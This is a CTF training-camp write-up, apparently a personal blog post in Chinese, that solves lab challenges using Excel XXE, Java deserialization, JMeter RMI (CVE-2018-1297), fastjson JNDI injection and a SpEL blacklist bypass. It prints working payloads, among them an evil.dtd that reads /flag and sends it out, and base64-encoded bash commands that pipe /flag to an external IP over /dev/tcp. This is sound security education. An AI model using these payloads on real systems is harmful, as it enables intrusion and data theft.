山石安研第一届CTF训练营
过去一周参加了山石安研的ctf训练营,做了几道题感觉还是颇有意义,虽然不难,但是算是某些类型的典型题吧,靶机可能访问不到了,不过关键还是在于记录下一些思路和分析过程吧
这些题目分别涉及目录穿越、Excel XXE、反序列化、RMI、fastjson 1.2.47 RCE、shiro反序列化CVE-2016-4437、spel注入等知识点
最后一道后来发现是p神的一道题,javacon的表达式沙盒绕过
https://github.com/phith0n/code-breaking/tree/master/2018/javacon
最近发现博客访问人数突然多了,,本来只想自己记录下学习过程,现在意外的发现还有分享的作用,顺便放几道代审题的附件吧
作业一wp
- 知识点:任意文件下载、目录穿越、代码审计、Excel XXE
地址:http://58.240.236.228:32013/
进去后是一个上传文件的地方,一开始还以为是上传个一句话木马的php,但是上传后发现他并不会解析成可访问路径,不过在下载文件的接口发现需要传一个filename,尝试更改一些其他的文件名,发现当文件名含有flag时会返回禁止读取,当传空参时回显500,爆出疑似项目路径
尝试目录穿越访问该web项目的配置文件
1 | # payload |
获取到项目源码的包名后,直接通过这个接口下载三个class文件
1 | # payload |
放入jd-gui反编译,重点关注UploadServlet,可以看到在红色框标识处的条件判断,当文件名以“excel-”开头且为“xlsx”后缀的文件时会使用POI解析这个excel文档,因此考虑excel xxe
首先新建一个.xlsx格式的excel文档,修改后缀名为.zip,然后解压,在[Content_Types].xml
中插入一段xml,作用是从远程服务器获取evil.dtd文件,其中%all;%send;
是定义在evil.dtd中的,evil.dtd作用是读取根目录下的flag文件并发送到远程服务器的9000端口
- [Content_Types].xml插入部分
1 |
- evil.dtd
1 | <!ENTITY % file SYSTEM "file:///flag"> |
改完xml后将文件夹重新压缩回zip,然后文件名改为excel-.xlsx以满足条件判断让服务器解析该文档
evil.dtd文件则上传到vps(我用的是腾讯云)
1 | scp 本地文件地址 vps账号@vps公网ip:服务器文件地址 |
接着登录vps,进入evil.dtd所在的文件夹,用python开启一个web服务
1 | # python2 3使用方法不一样,但是效果一样 |
这个服务默认开启在8000端口,访问[ip:port]即可看到目录下的evil.dtd
接着根据我们写的evil.dtd,会将读取到的flag发送到9000端口,因此用nc监听该端口
1 | nc -lvvp 9000 |
然后上传文件即可发现服务器从我们的vps下载了evil.dtd,且将数据发送到了9000端口
作业二wp
- 知识点:代码审计、反序列化
直接idea打开项目,源码很少,只有一个类,直接看关键方法
1 | public class Hello { |
分析完流程就很好做了,读取flag的正向流程如下
1 | 读取数据流 |
接下来我们只要逆向构造出一个满足条件的HashMap对象,并将其序列化后base64解密即可
1 | public static void test() throws IOException { |
打印出来的结果直接丢到burp里面发送即可获取flag
作业三wp
- 知识点:jmeter反序列化rce、CVE-2018-1297
地址:58.240.236.228:31099(是个rmi服务)
既然都是rmi了,题目又有jmeter,直接拿去搜,找到一个Jmeter RMI的反序列化漏洞CVE-2018-1297,而且ysoserial也集成了exp,直接使用,然后执行读取flag的命令重定向发送到我们自己的vps,然后自己在vps上监听端口即可
1 | java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 58.240.236.228 31099 BeanShell1 'bash -c {echo,Y2F0IC9mbGFnID4mIC9kZXYvdGNwLzEuMTQuMTY5LjEwOS85MDAwIDA+JjE=}|{base64,-d}|{bash,-i}' |
参考:https://vulhub.org/#/environments/jmeter/CVE-2018-1297/
关于[cmd]部分为何长这样:因为当调用Runtime.getRuntime().exec()
时,会因为重定向符号“>”被错误解释,因此当我们的cmd需要使用重定向符时需要经过Base64编码和bash的重新编排
原cmd:
1 | cat /flag >& /dev/tcp/ip/9000 0>&1 |
转换后:
工具地址:http://www.jackson-t.ca/runtime-exec-payloads.html
作业四wp
地址:58.240.236.228:38833
访问后返回一个json格式化的数据
抓包,修改GET为POST,添加头部
Content-Type: application/json
,发送一段不完整的json探测一下,确定是fastjson
dnslog探测一下,没问题
首先编写Exploit.java,目的是让目标服务器通过rmi加载然后执行
- 执行的命令为
cat /flag >& /dev/tcp/1ip/9000 0>&1
经过base64和shell编码编排后的结果
1
2
3
4
5
6
7
8
9
10
11import java.io.IOException;
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,Y2F0IC9mbGFnID4mIC9kZXYvdGNwLzEuMTQuMTY5LjEwOS85MDAwIDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (IOException ignored) {
}
}
}- 执行的命令为
准备工具
将jar包和Exploit一起上传到vps
在目录下开启web服务
python3 -m http.server
监听9000端口
nc -lvvp 9000
开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:8000/#Exploit" 9999
发送payload到服务器即可
1
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:9999/Exploit","autoCommit":true}}
ShiroSpel
- 知识点:代码审计、表达式注入、黑名单过滤绕过、CVE-2016-4437
地址:58.240.236.228:33014
反编译后直接看MainController
关注以下两个关键方法
- 首先是登录页面,代码如下
1 |
|
接受三个参数,其中username和password均为admin(写在application.yml里面)
remember-me为可选参数,当不为空时,调用加密函方法,并设置为Cookie值,加密方法如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19// UserConfig
public String encryptRememberMe() {
String encryptd = Encryptor.encrypt(this.rememberMeKey, "0123456789abcdef", this.username);
return encryptd;
}
//Encryptor
public static String encrypt(String key, String initVector, String value) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
} catch (Exception var7) {
logger.warn(var7.getMessage());
return null;
}
}- 容易看出用了aes加密,其中初始向量
iv=0123456789abcdef
,密钥rememberMeKey=c0dehack1nghere1
(同样写在application.yml里
- 容易看出用了aes加密,其中初始向量
以上是登录的流程的分析,若登录成功,则会跳转到根页面hello,以下是关键代码分析
1 |
|
- 接受一个可选参数remember-me,若非空,则调用解密函数,将解密结果赋值给username,持久化后返回hello页面,在hello页面返回前还执行了
model.addAttribute("name", this.getAdvanceValue(username.toString()));
,这个方法大概作用就是:- 将username进行黑名单过滤,黑名单就一个Runtime.getRuntime().exec()
- 解析SpEL表达式
- 解析结果返回hello页面
1 | // 为了阅读方便,我将var2、3、4等变量改为其实际意义以便阅读 |
到这里整个程序的关键部分基本已经分析完了,思路也容易想到:
- 首先先登录系统
- 接着使用aes的密钥和初始向量加密一段payload,作为cookie里的remember-me的值发送
- 服务器将解密结果赋值给username,经过黑名单过滤后交给SpEl表达式解析
我们的目的就是让表达式解析我们的恶意payload而造成rce
先测试一下我们的思路对不对,首先用源码的加密方式加密字符串2*2
,然后把密文当作cookie的remember-me发送
结果我惊了,好消息是加密方式没错,确实能将username设置为我们想要的内容,坏消息是他压根没被解析出来,按理来说应该得是4才对,经过调试后发现,在ParserContext parserContext = new TemplateParserContext();
定义了表达式的模板(或者说是格式),其中TemplateParserContext
类规定了表达式的形式是#{Expression Language}
的形式,这就好办了,我们把#{2*2}
加密一下重新尝试
居然还是不行….但是我自己写了个类又是没问题的,后来重新看代码的时候才发现,,后端设值语句为model.addAttribute("name", this.getAdvanceValue(username.toString()));
,而前端取值语句为<h2 th:text="'Hello, ' + ${session.username}"></h2>
,完全不对应,,,等于说后端其实是执行了的,只是没有把执行结果返回前端而已(一时竟不知这是出题人失误还是故意的)
现在只剩下最后过个黑名单了,这个也十分简单,用反射+字符串拆分就行,编写payload如下
1 | String value = "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec', T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRun'+'time').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'calc.exe'})}"; |
对payload进行加密后,本地起项目尝试发送,成功弹窗,说明已经完成rce,最后就是读取flag了
最后将执行的命令改为读取flag并带出,payload如下
1 | String value = "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec', T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRun'+'time').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'bash','-c','{echo,Y2F0IC9mbGFnID4mIC9kZXYvdGNwLzEuMTQuMTY5LjEwOS85MDAwIDA+JjE=}|{base64,-d}|{bash,-i}'})}"; |
监听端口,成功获取flag
最后想了一下,这道题虽然没用shiro但是还是叫这个名的意思大概是因为在spel表达式注入之前的漏洞利用的是shiro的CVE-2016-4437?就也是因为AES硬编码、使用默认密钥导致的,通过cookie的rememberMe参数注入的漏洞